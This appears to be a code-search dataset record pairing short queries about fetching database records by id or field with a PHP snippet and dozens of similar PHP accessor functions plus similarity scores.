"function sandbox_tag_ur_it($glue) {\n\t$current_tag = single_tag_title( '', '', false );\n\t$separator = \"\\n\";\n\t$tags = explode( $separator, get_the_tag_list( \"\", \"$separator\", \"\" ) );\n\n\tforeach ( $tags as $i => $str ) {\n\t\tif ( strstr( $str, \">$current_tag<\" ) ) {\n\t\t\tunset($tags[$i]);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ( empty($tags) )\n\t\treturn false;\n\n\treturn trim(join( $glue, $tags ));\n}",
"function url_exists($pageURL){\n\t if ((strpos($pageURL, \"https\")) === false){ $pageURL = \"https://\" . $pageURL;} //pos8etei https an leipei\n\t\t \n\t\t \n\t\t \n\t if (is_array(@get_headers($pageURL)) && ((strpos($pageURL, \"facebook\")) !== false))\t//an to header request itan epituxes kai to page itan kapoio fb page\n\t return true;\n\t else\n\t\t {return true;}\n\t}",
"protected function setSeoTags()\n {\n global $APPLICATION;\n\n if ($this->arParams['SET_SEO_TAGS'] !== 'Y')\n {\n return false;\n }\n\n if ($this->arResult['SEO_TAGS']['TITLE'])\n {\n $APPLICATION->SetPageProperty('title', $this->arResult['SEO_TAGS']['TITLE']);\n }\n\n if ($this->arResult['SEO_TAGS']['DESCRIPTION'])\n {\n $APPLICATION->SetPageProperty('description', $this->arResult['SEO_TAGS']['DESCRIPTION']);\n }\n\n if ($this->arResult['SEO_TAGS']['KEYWORDS'])\n {\n $APPLICATION->SetPageProperty('keywords', $this->arResult['SEO_TAGS']['KEYWORDS']);\n }\n }"
]
| [
"0.5788491",
"0.56912255",
"0.56274784",
"0.54460824",
"0.53734446",
"0.53261805",
"0.53124434",
"0.5291427",
"0.5272944",
"0.51850253",
"0.5183006",
"0.51631624",
"0.51494676",
"0.5146657",
"0.5128138",
"0.5122809",
"0.50755847",
"0.5062033",
"0.50506943",
"0.5045603",
"0.5043349",
"0.5030509",
"0.49642423",
"0.49432802",
"0.49313226",
"0.49290314",
"0.4929017",
"0.49210438",
"0.49180648",
"0.4916962",
"0.49126208",
"0.49071273",
"0.48906016",
"0.48827142",
"0.4851409",
"0.48436338",
"0.48361915",
"0.48327",
"0.4822401",
"0.4807703",
"0.48057905",
"0.4803945",
"0.47913054",
"0.477851",
"0.4778275",
"0.4772208",
"0.4772135",
"0.47629428",
"0.47513738",
"0.4742315",
"0.47388998",
"0.47311404",
"0.4723596",
"0.47207567",
"0.47185558",
"0.47092736",
"0.46979702",
"0.46778452",
"0.4677376",
"0.46768728",
"0.4676201",
"0.46728548",
"0.46701178",
"0.46699697",
"0.46697012",
"0.46672025",
"0.46656248",
"0.46607625",
"0.46606883",
"0.46587783",
"0.46586958",
"0.46574137",
"0.46467307",
"0.46410206",
"0.46295068",
"0.46286637",
"0.4624067",
"0.46152702",
"0.46055686",
"0.46011987",
"0.45980364",
"0.45922336",
"0.45908365",
"0.4588192",
"0.45820445",
"0.4580982",
"0.45782375",
"0.4575879",
"0.45669845",
"0.45627266",
"0.45581824",
"0.4552371",
"0.45522317",
"0.45489243",
"0.45457128",
"0.4534603",
"0.4517581",
"0.45159388",
"0.45150664",
"0.45124683"
]
| 0.7833238 | 0 |
Retrieves a record from its id | public function find(int $id)
{
return $this->makeQuery()->where("id = $id")->fetchOrException();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getRecord($id = null);",
"public function retrieve(int $id);",
"public function retrieveById($id);",
"public function getRecord($id){\n\t\t$req = \"SELECT * FROM $this->table WHERE mdr_id = '$id' LIMIT 1\";\n\t\t$res = $this->select($req);\n\t\treturn $res[0];\n\t}",
"function get_by_id($id)\n {\n $this->db2->where($this->id, $id);\n return $this->db2->get($this->table)->row();\n }",
"abstract public function retrieve($id);",
"public function get( $id );",
"public function getById( $id );",
"public function findRecordById($id)\n {\n $rowset = $this->select(['id' => $id]);\n $row = $rowset->current();\n\n return $row;\n }",
"protected function getRecordById(int $id): object\n {\n return $this->db->query(\"SELECT * FROM \" . $this->db_table . \" WHERE id = '\" . $id . \"'\");\n\n }",
"function get_by_id($id)\r\n {\r\n $this->db->where($this->id, $id);\r\n return $this->db->get($this->table)->row();\r\n }",
"public function getRecordById($id) {\n if ($id) {\n return $this->getRecord($id);\n }\n return false;\n }",
"public function get(string $id);",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n return $this->db->get($this->table)->row();\n }",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get($id);",
"public function get( $id ){}",
"public function getById(string $id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"public function getById($id);",
"function get_by_id($id)\n\n {\n\n $this->db->where($this->id, $id);\n\n return $this->db->get($this->table)->row();\n\n }",
"public function byId($id)\n\t{\n\t\treturn $this->find('id', $id)->first();\n\t}",
"public function getById(int $id);",
"public static function get($id) {\n\t\treturn self::_getDao()->get(intval($id));\n\t}",
"public function getById() {}",
"public function getRecord($id){\r\n\t\treturn $this->db->get_where('uqc',array('id'=>$id))->row();\r\n\t}",
"public function read($id);",
"public static function get($id) {\n if (!$id = (int) $id) {\n throw new NotFoundException('Invalid id for ' . get_called_class() . '.');\n }\n\n if (!$record = self::find(array('where' => array('id' => $id)))) {\n throw new NotFoundException(get_called_class() . \" with '{$id}' can't be found.\");\n }\n\n return $record;\n }",
"function get_by_id($id)\n {\n $db2 = $this->load->database('database_kedua', TRUE);\n\n $db2->where($this->id, $id);\n return $db2->get($this->table)->row();\n }",
"public function getById( $id ){\n return $this->model->find($id);\n }",
"public function get($id) {\r\n\treturn $this->getRepository()->find($id);\r\n }",
"public function getOne($id)\n {\n return $this->find(\"id\", $id);\n }",
"public function fetchSingleById($id);",
"public function fetchSingleById($id);",
"function get(string $id);",
"function get_by_id($id)\n {\n $this->db->where($this->id, $id);\n $this->db->where('username', $this->session->identity);\n return $this->db->get($this->table)->row();\n }",
"public function get_by_id($id)\r\n\t{\r\n\t\treturn $this->findByPoperty(array($this->id_field => $id));\r\n\t}",
"function getRecord($id) {\n\t\t$result = $this->select('id',\"`id` = '$id'\");\n\t\tif($result) return 1;\n\t\treturn '';\n\t}",
"public function getById($id)\n {\n return self::where('id', (int) $id)->first();\n }",
"public function findById($id)\n {\n $this->ensureIsConfigured();\n $classname = $this->getRecordClassname();\n return $classname::findById($id);\n }",
"public function getById($id)\n\t{\n\t\treturn $this->model->find($id);\n\t}",
"public function returnDetailFindByPK($id);",
"function getRecord($id, $decode=false){\n\n\t\tif( isset($this->rc4key) && $decode ){\n\t\t\t$id = $this->rc4->_decrypt( $this->rc4key, $this->_check_magic_quotes($id) );\n\t\t\t$id = str_replace($this->rc4key,\"\",$id);\n\t\t}\n\t\t$SQLquery = \"SELECT * FROM $this->table WHERE $this->pkey = '$id'\";\n\t\t#@mysql_select_db($this->DB,$this->conn);\n\t\t$result = $this->db->execute($SQLquery);\n\n\t\tif( count($result) == 1 ){\n\t\t\t$this->pkeyID = $id;\n\t\t\t$this->record = $result[0];\n\t\t\treturn true;\n\t\t} else \n\t\t\treturn false;\n\n\t}",
"public abstract function getById($id);",
"public function getById($id){\n return $this->_query->getById(\"id\", $id);\n }",
"public static function findById($id)\n\t{\n\t\t$model = new self;\n\t\treturn $model->fetchRow($model->select()->where('id=?', $id));\n\t}",
"public function getById($id)\r\n\t{\r\n\t\treturn $this->getTable()->getById($id);\t\t\r\n\t}",
"function getRecord($id = false)\n\t{\n\t\tif ($id === false)\n\t\t\t$id = $this->id;\n\n\t\t$this->record = &$this->form->passRecord($this->tablename, $id);\n\t\t$this->form->DescIntoFields($this->tablename, $id);\n\n\t\treturn $this->record;\n\t}",
"public function GetById($id);",
"public function GetById($id);",
"public function get_by_id($id) {\n $query = $this->db->prepare(\"SELECT * FROM {$this->table_name} WHERE id='%d'\", $id);\n $result = $this->db->get_row($query);\n\n return $result;\n }",
"public function getOne($id)\n {\n return $this->repository->find($id);\n }",
"public function fetch($id);"
]
| [
"0.8587721",
"0.80260235",
"0.80156606",
"0.7878202",
"0.777651",
"0.76707023",
"0.7611288",
"0.76029277",
"0.7577335",
"0.75627136",
"0.75103563",
"0.7507076",
"0.7506565",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.7489612",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.74875134",
"0.7483552",
"0.7446617",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.7438144",
"0.74242496",
"0.7418284",
"0.74168664",
"0.74058527",
"0.73855007",
"0.7380718",
"0.73382866",
"0.7331532",
"0.73214614",
"0.7286093",
"0.7274381",
"0.7259199",
"0.72502154",
"0.72502154",
"0.7243409",
"0.7242057",
"0.72407717",
"0.72327316",
"0.7215221",
"0.7201446",
"0.718475",
"0.7176579",
"0.7173355",
"0.71642333",
"0.7161898",
"0.7157477",
"0.7151754",
"0.7147228",
"0.71388996",
"0.71388996",
"0.7136001",
"0.71352065",
"0.71274847"
]
| 0.0 | -1 |
Retreives records from a field. | public function findBy(string $field, string $value)
{
return $this->makeQuery()->where("$field = :field")->params(['field' => $value])->fetchOrException();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function get($field);",
"public function get($field);",
"public function fetchFields();",
"function getList($fieldName='', $searchValue='', $orderByField='', $orderByValue='', $offset ='', $limit ='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordList($this->table, $fieldName, $searchValue, $orderByField, $orderByValue, $offset, $limit);\r\n\t\t\treturn $sqlRecord;\r\n\t\t\r\n\t\t}",
"function getList($fieldName='', $searchValue='', $orderByField='', $orderByValue='', $offset ='', $limit ='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordList($this->table, $fieldName, $searchValue, $orderByField, $orderByValue, $offset, $limit);\r\n\t\t\treturn $sqlRecord;\r\n\t\t\r\n\t\t}",
"public function returnFindByField($field);",
"function getRecordByField($fieldName, $searchKey, $orderByField='', $orderByValue='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordByField($this->table, $fieldName , $searchKey, $orderByField, $orderByValue );\r\n\t\t\treturn $sqlRecord;\r\n\t\t\t\r\n\t\t}",
"function getRecordByField($fieldName, $searchKey, $orderByField='', $orderByValue='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordByField($this->table, $fieldName , $searchKey, $orderByField, $orderByValue );\r\n\t\t\treturn $sqlRecord;\r\n\t\t\t\r\n\t\t}",
"public function fetchField();",
"public function getByField($field, $value)\n {\n }",
"public function getByField($field, $value)\n {\n }",
"protected function selectRowByField($field)\n {\n return collect($field)\n ->only($this->tableFields())\n ->toArray();\n }",
"function fields( $field )\n\t{\n\t\tif(empty($field))\n\t\t{\n\t\t\treturn $this->fields;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $this->fields[$field];\n\t\t}\n\t}",
"public function fetchByField( $field, $value )\n\t{\n\t\t$select = $this->table->select()->where( $field . ' = ?', $value );\n\n\t\t$rowSet = $this->table->fetchAll( $select );\n\n\t\treturn $rowSet->toArray();\n\t}",
"function getList($fieldName='', $searchValue='', $searchStatus='', $orderByField='', $orderByValue='', $offset ='', $limit ='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordList($this->table, $fieldName, $searchValue, $searchStatus, $orderByField, $orderByValue, $offset, $limit);\r\n\t\t\treturn $sqlRecord;\r\n\t\t\r\n\t\t}",
"public function getField($field_name);",
"public function getDataListByField(string $field_name)\n {\n switch ($field_name) {\n case 'PostalCode': return $this -> get_postal_code_list(); break;\n case 'City': return $this -> generate_city_value_list(); break;\n }\n }",
"public abstract function FetchField();",
"function getByField ( $field,$value){\n\t\t $result=$this->fetchRow(\"$field= '$value' \"); //order by id?\n\t\t if($result==null)\n\t\t\t return;\n\t\t if(is_array($result))\n\t\t\t return $result[0];\n\t\t return $result;\n\t}",
"function _get_by($field, $value = array())\r\n\t{\r\n\t\tif (isset($value[0]))\r\n\t\t{\r\n\t\t\t$this->where($field, $value[0]);\r\n\t\t}\r\n\r\n\t\treturn $this->get();\r\n\t}",
"function f($field) {\n\t\treturn($this->fetchfield($field));\n\t}",
"public static function get_data_by($field, $value)\n {\n }",
"public function getFields() : FieldCollection;",
"function getfield($field){\n\n\t\treturn($this->record[$field]);\n\t}",
"function getRecordByField($fieldName, $searchKey, $searchStatus='', $orderByField='', $orderByValue='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordByField($this->table, $fieldName , $searchKey, $searchStatus, $orderByField, $orderByValue );\r\n\t\t\treturn $sqlRecord;\r\n\t\t\t\r\n\t\t}",
"public function getField($field)\n\t{\n//TODO call query\n//\t\tOLIVDatabase\n\t\tif ($this->sqlResource)\n\t\t{\n\t\t\treturn mysql_fetch_array($this->sqlResource);\n\t\t}\n\t\treturn FALSE;\n\t}",
"function getFields();",
"public function select($field);",
"public function fetchByField($field_name, $field_value) {\n\t\t$queryBuilder = $this->db->createQueryBuilder();\n\t\t$queryBuilder\n\t\t\t->select('*')\n\t\t\t->from($this->table_name, 't1')\n\t\t\t->where('t1.'.$field_name.' = :val')\n\t\t\t->setParameter(':val', $field_value)\n\t\t;\n\t\t$result = $queryBuilder->execute()->fetchAll();\n\n\t\treturn $result;\n\t}",
"public function fetch_fields() {}",
"function getSelectedFieldsRecordByField($selectedFields, $fieldName, $searchKey, $orderByField='', $orderByValue='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getSelectedTableRecordByField($this->table, $selectedFields, $fieldName , $searchKey, $orderByField, $orderByValue );\r\n\t\t\treturn $sqlRecord;\r\n\t\t\t\r\n\t\t}",
"public function getField($fieldName) {}",
"public function get($field) {\r\n\t\treturn $this -> fields[$field];\r\n\t}",
"function getSelectedFieldsRecordListByField($selectedFields, $fieldName, $searchKey, $searchStatus = '', $orderByField='', $orderByValue='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getSelectedTableRecordListByField($this->table, $selectedFields, $fieldName , $searchKey, $searchStatus, $orderByField, $orderByValue );\r\n\t\t\treturn $sqlRecord;\r\n\t\t\t\r\n\t\t}",
"public function getRecord();",
"protected function RecordOfFields($record)\n {\n $mine=array();\n foreach ($this->field_list as $field) {\n if (array_key_exists($field,$record))\n $mine[$field]=$record[$field];\n }\n\n return($mine);\n }",
"public function getFields();",
"public function getFields();",
"public function getFields();",
"public function getFields();",
"public function getFields();",
"public function getFields();",
"function getFieldValue($field);",
"public function __get ($field) {\n return $this->__fields[$field]['data'];\n }",
"abstract public function getFields();",
"abstract public function getFields();",
"public function getFields() {}",
"public function getFields() {}",
"public function getFields() {}",
"function getSelectedFieldsRecordByField($selectedFields, $fieldName, $searchKey, $searchStatus='', $orderByField='', $orderByValue='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getSelectedTableRecordByField($this->table, $selectedFields, $fieldName , $searchKey, $searchStatus, $orderByField, $orderByValue );\r\n\t\t\treturn $sqlRecord;\r\n\t\t\t\r\n\t\t}",
"public function getDataFields()\n {\n $query = 'response > record > marcRecord > datafield';\n $dataFields = $this->domCrawler->filter($query)->each(function (Crawler $node) {\n return new DataField($node);\n });\n\n\n return $dataFields;\n }",
"public function get_all_items($field) {\n return $field->find_sqlarray( \n array(\"where\" => array(\n \"arraygroup\" => \"items\"\n ))\n );\n }",
"static function findField($collection, $field, $query = array(), $options = array()) {\r\n\t\t$options['fields'] = array($field => 1);\r\n\t\t$result = self::find($collection, $query, $options);\r\n\t\t$array = array();\r\n\t\tforeach ($result as $val) {\r\n\t\t\t$array[] = $val[$field];\r\n\t\t}\r\n\t\treturn $array;\r\n\t}",
"private function get_recs() {\n\tglobal $_DB;\n\n\t$sql = \"SELECT e00.name, e00.property_id AS name_id,\n\t\t\t\te02.name AS value, e02.prop_value_id AS value_id\n\t\t\tFROM (\n\t\t\t\tSELECT property_id, name FROM \".$_DB->prefix.\"e00_property\n\t\t\t\tWHERE organization_idref = \".$_SESSION[\"organization_id\"].\"\n\t\t\t) AS e00\n\t\t\tJOIN \".$_DB->prefix.\"e02_prop_value AS e02 ON e02.property_idref = e00.property_id\n\t\t\tORDER BY name, value;\";\n\t$stmt = $_DB->query($sql);\n\t$this->records = array();\n\twhile ($row = $stmt->fetchObject()) {\n\t\t$record = array(\n\t\t\t\t\"name\" =>\t\t$row->name,\n\t\t\t\t\"name_id\" =>\t$row->name_id,\n\t\t\t\t\"value\" =>\t\t$row->value,\n\t\t\t\t\"value_id\" =>\t$row->value_id,\n\t\t);\n\t\t$this->records[] = $record;\n\t}\n\t$stmt->closeCursor();\n}",
"static function findField($collection, $field, $query = array(), $options = array()) {\n $options['fields'] = array($field => 1);\n $result = self::find($collection, $query, $options);\n $array = array();\n foreach ($result as $val) {\n $array[] = $val[$field];\n }\n return $array;\n }",
"public function getField();",
"public function getField();",
"public function getField();",
"public function collect(string $field): Collection\n {\n return Collection::make($this->get($field, []));\n }",
"public function getFieldValues($fieldName)\n {\n $lastId = 0;\n $finished = false;\n $pageSize = 500;\n $result = [];\n\n do {\n $response = $this->callSql(\"\n SELECT TOP $pageSize\n *\n FROM\n DPCODES\n WHERE\n field_name = '$fieldName'\n AND\n code_id > $lastId\n ORDER BY\n code_id\n \");\n\n if (is_array($response)) {\n $recordsReturned = count($response);\n if ($recordsReturned > 0) {\n $result += $response;\n\n if ($recordsReturned < $pageSize) {\n $finished = true;\n } else {\n $lastId = end($response)->code_id;\n }\n } else {\n $finished = true;\n }\n } else {\n $finished = true;\n }\n } while (!$finished);\n\n return $result;\n }",
"public function getFields(): array;",
"public function getFields(): array;",
"public function getFields(): array;",
"public function findAllBy($field, $value){\n\t\treturn $this->find(array('conditions' => $field.\" = '$value'\"));\n\t}",
"public function getListFields();",
"public function __get($field) {\n\t\tif(array_key_exists($field, $this->_data)) {\n\t\t\treturn $this->_data[$field];\n\t\t}\n\t\telse {\n\t\t\tthrow new \\Bedrock\\Model\\Record\\Exception('The specified field \"' . $field . '\" was not found.');\n\t\t}\n\t}",
"public function __get($field)\n\t{\n\t\treturn $this->get($field);\n\t}",
"public function getRecord() {}",
"public function getRecord() {}",
"public function getRecord() {}",
"function FetchField($fieldOffset = -1) \n\t{\n\t\tif ($fieldOffset != -1) {\n\t\t\t$this->fieldmeta_offset = $fieldOffset;\n\t\t}\n\t\t$fieldObject = false;\n\t\t$i=0;\n\t\tforeach($this->fieldmeta as $o) {\n\t\t\tif($i==$this->fieldmeta_offset) {\n\t\t\t\t$fieldObject = $o;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\t\t$this->fieldmeta_offset++;\n\t\treturn $fieldObject;\n\t}",
"public function fetchObjects(Select $select, $field)\n {\n $rows = $select->fetchAll();\n $objects = array();\n foreach ($rows as $row) {\n $key = $row[$field];\n $objects[$key] = $this->newObject($row);\n }\n return $objects;\n }",
"private function getFieldCollection()\n {\n $fields = $this->fields;\n $collection = new FieldCollection();\n\n foreach ($fields as $fieldKey => $fieldMeta) {\n $collection->add(new FieldVO($fieldKey, $fieldMeta));\n }\n\n return $collection;\n }",
"public function getRelatedFields($field, $leftOriginField = true) {}",
"function selectRecord($table,$field,$where) {\n\t\tif($where!='')\n\t\t\t$where= ' WHERE '.$where;\n \t$query = \"SELECT \".$field.\"\n \t FROM \".$this->tablePrefix .$table.$where ;\n\t\t // echo $query.'<br>';exit;\n $res = $this->execute($query);\n \treturn $this->fetchRow($res);\n }",
"function getField($field){\n\t\t$query = \"SELECT `$field` FROM `mkombo_university`.`staff` WHERE `username`='\".$_SESSION['username'].\"'\";\n\t\tif($query_run = @mysql_query($query)){\n\t\t\tif($query_result = @mysql_result($query_run,0, $field)){\n\t\t\t\treturn $query_result;\n\t\t\t}\n\t\t}\t\t\n\t}",
"public function getAllFields() {\n\t\t\t// Database Connection\n\t\t\t$db\t\t\t\t= $GLOBALS['db_q'];\n\t\t\t// Initialize variables\n\t\t\t$return\t\t\t= false;\n\t\t\t// Query set up\t\n\t\t\t$table\t\t\t= 'tb_field';\n\t\t\t$select_what\t= 'id, vc_field AS vc_name';\n\t\t\t$conditions\t\t= \"1 ORDER BY vc_field ASC\";\n\t\t\t$return\t\t\t= $db->getAllRows_Arr($table, $select_what, $conditions);\n\t\t\t// Return\n\t\t\treturn $return;\n\t\t}",
"public function fields()\n {\n return array_map(\n function (array $field) {\n return Field::fromArray($field);\n },\n $this->client->get('field')\n );\n }",
"public function Get ($field) {\n if ($this->structuredResult === null) return null;\n foreach ($this->structuredResult as $info) {\n if ($info['field'] == $field) {\n return $info['data'];\n }\n }\n return null;\n }",
"public function getQueryRecords()\n {\n return $this->get(self::_QUERY_RECORDS);\n }",
"function getFields($table,$fields=\"\",$condition=\"\",$limit=\"\",$calculateRows=false,$fastHint=false);",
"public function findBy($field, $value);",
"function fields($fldname) {\n\t\treturn $this->fields[$fldname];\n\t}",
"function get_field($field, $where_field, $where_value, $debug = FALSE)\r\n {\r\n \t\r\n \t$this->db->select($field)->from($this->table)->where($where_field, $where_value);\r\n \t$query_db = $this->db->get();\r\n \t\r\n \tif($debug)\r\n \t{\r\n \t\tprint_a('Arguments~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~');\r\n \t\tprint_a($field);\r\n \t\tprint_a($where_field);\r\n \t\tprint_a($where_value);\r\n \t\t\r\n \t\tprint_a('SQL returned handle ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~');\r\n \t\tprint_a($query_db);\r\n \t\t\r\n \t\tprint_a('DB data~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~');\r\n \t\tprint_a($query_db->row_array());\r\n \t}\r\n \telse\r\n \t{\r\n \t\tif($query_db->num_rows)\r\n \t\t{\r\n \t\t\t$results = $query_db->row_array(); \r\n \t\t\treturn $results[$field];\r\n \t\t\t\r\n \t\t}\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n }",
"function GetField($arr, $field)\n{\n $result = array();\n for ($i = 0; $i < count($arr); $i ++)\n array_push($result, $arr[$i][$field]);\n return $result;\n}",
"function my_get_field_list( $table_name ){\r\n\t\r\n\t$query = \" SHOW fields FROM `\".$table_name.\"` \";\r\n\t$result = my_query( $query );\r\n\t \r\n\twhile($row = my_fetch_array( $result ) ){\r\n\t\t$data = $row['Field'];\r\n\t\tbreak;\r\n\t}\r\n\t\r\n\treturn $data;\r\n\t\r\n}",
"abstract protected function getFields();",
"protected function getFieldArray($field, $subfields = null, $concat = true)\n {\n // Default to subfield a if nothing is specified.\n if (!is_array($subfields)) {\n $subfields = ['a'];\n }\n\n // Initialize return array\n $matches = [];\n\n // Try to look up the specified field, return empty array if it doesn't\n // exist.\n $fields = $this->marcRecord->getFields($field);\n if (!is_array($fields)) {\n return $matches;\n }\n\n // Extract all the requested subfields, if applicable.\n foreach ($fields as $currentField) {\n $next = $this->getSubfieldArray($currentField, $subfields, $concat);\n $matches = array_merge($matches, $next);\n }\n\n return $matches;\n }",
"function get($field) {\n\t\tif(!is_string($field)) {\n\t\t\ttrigger_error(\"Parameter for model->get() must be a string\", E_USER_WARNING);\n\t\t\treturn null;\n\t\t}\n\n\t\tif (method_exists($this, 'get_'.$field)) {\n\t\t\t$args = func_get_args();\n\t\t\tarray_shift($args);\n\n\t\t\treturn call_user_func_array(array(& $this, 'get_'.$field), $args);\n\t\t}\n\n\t\t$result = $this->find_associated($field);\n\n\t\tif (!is_null($result)) {\n\t\t\treturn $result;\n\t\t}\n\n\t\tif (isset($this->data[$field])) {\n\t\t\treturn $this->data[$field];\n\t\t}\n\n\t}",
"public function getRecord ($sqlString,$offset=1) {\t\t\t\t\n $result=$this->query($sqlString);\n $data=array();\n\t\tif ($result->num_rows >= 1) { \n\t\t\t$ft = $this->getFieldTable('field');\t\t\t\n\t\t\t$countFieldTable = count ($ft);\n\t\t\t$counter = 1;\t\t\t\t\t\t\t\t\t\n\t\t\twhile ($row=$result->fetch_assoc()) {\t\t\t\n\t\t\t\t$tempRecord['no']=$offset;\n\t\t\t\tfor ($i=0;$i < $countFieldTable;$i++) {\n\t\t\t\t\t$tempRecord[$ft[$i]]=trim($row[$ft[$i]]);\n\t\t\t\t}\n\t\t\t\t$data[$counter]=$tempRecord;\n\t\t\t\t$counter++;\t\t\t\n\t\t\t\t$offset++;\n\t\t\t} \t\n\t\t\t\n\t\t}\n return $data;\n\t}",
"public function get_item($field, $where = array()) {\n if (!is_array($where)) {\n $where = array();\n }\n //add group clausule\n $where[\"arraygroup\"] = \"items\";\n //now get that item\n return $field->get_sqlarray( \n array(\"where\" => $where)\n );\n }",
"public function get_array_of($result, $field ){\n\t\t\t$arr = array();\n\t\t\tif(is_array($field)) {\n\t\t\t\twhile($row = mysql_fetch_array($result)){\n\t\t\t\t\t$temp_arr = array();\n\t\t\t\t\tforeach($field as $temp_field){\n\t\t\t\t\t\t//array_push($temp_arr, $row[$temp_field]);\n\t\t\t\t\t\t$temp_arr[$temp_field] = $row[$temp_field];\n\t\t\t\t\t}\n\t\t\t\t\tarray_push($arr, $temp_arr);\n\t\t\t\t}\n\t\t\t\treturn $arr;\n\t\t\t}else {\n\t\t\t\twhile($row = mysql_fetch_array($result)){\n\t\t\t\t\tarray_push($arr, $row[$field]);\n\t\t\t\t}\n\t\t\t\treturn $arr;\n\t\t\t}\n\t\t}",
"public function getFieldByName($field) {\n\t\tif ((bool) $this->_result) {\n\t\t\tif (isset($this->_resultFields[$field]) && isset($this->_result[$this->_resultFields[$field]])) return $this->_result[$this->_resultFields[$field]];\n\t\t\telse parent::throwGetColException('trying to get non existing data ('.$field.') in ProjectsListingsModel::getFieldByName', __LINE__, __FILE__);\n\t\t}\n\t\telse return parent::throwNoResException('trying to get non existing data ('.$field.') in ProjectsListingsModel::getFieldByName', __LINE__, __FILE__);\n\t}",
"public function fetchSingleByField( $field, $value )\n\t{\n\t\t$select = $this->table->select()->where( $field . ' = ?', $value );\n\t\t\n\t\tif (! $row = $this->table->fetchRow( $select ))\n\t\t\treturn false;\n\t\n\t\t$this->_dataMerge($row);\n\n\t\treturn $row->toArray();\n\t}",
"public function records() { return $this->_m_records; }",
